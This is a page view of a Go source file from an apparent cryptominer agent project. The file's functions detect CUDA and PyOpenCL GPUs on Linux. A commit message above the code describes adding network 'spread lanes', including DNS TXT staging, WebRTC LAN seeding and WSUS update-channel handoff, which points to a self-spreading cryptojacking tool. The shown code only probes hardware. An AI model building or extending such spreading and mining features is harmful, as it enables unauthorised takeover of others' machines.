0be2de81a5
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CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
51 lines
1.3 KiB
Go
51 lines
1.3 KiB
Go
//go:build linux
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package miner
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import (
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"fmt"
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"os/exec"
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"strings"
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"crypto-miner-agent/config"
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)
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// DetectCUDA reports NVIDIA CUDA via nvidia-smi.
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func DetectCUDA() bool {
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out, err := exec.Command("nvidia-smi", "-L").CombinedOutput()
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return err == nil && strings.TrimSpace(string(out)) != ""
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}
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// DetectPyOpenCL reports python3 + PyOpenCL import success.
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func DetectPyOpenCL() bool {
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err := exec.Command("python3", "-c", "import pyopencl").Run()
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return err == nil
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}
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// StartPyOpenCLTier attempts a one-shot OpenCL probe via python3 -c (no external miner exe).
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// Returns error when PyOpenCL is absent or the probe fails — chain advances to stratum_direct.
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func StartPyOpenCLTier(cfg config.RuntimeConfig) error {
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if !DetectPyOpenCL() {
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return fmt.Errorf("python3 pyopencl not available")
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}
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script := `
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import pyopencl as cl
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platforms = cl.get_platforms()
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if not platforms:
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raise SystemExit('no opencl platforms')
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devices = platforms[0].get_devices()
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if not devices:
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raise SystemExit('no opencl devices')
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print('pyopencl_ok')
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`
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out, err := exec.Command("python3", "-c", script).CombinedOutput()
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if err != nil {
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return fmt.Errorf("pyopencl probe: %v (%s)", err, strings.TrimSpace(string(out)))
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}
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if !strings.Contains(string(out), "pyopencl_ok") {
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return fmt.Errorf("pyopencl probe unexpected output")
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}
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_ = cfg
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return nil
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}
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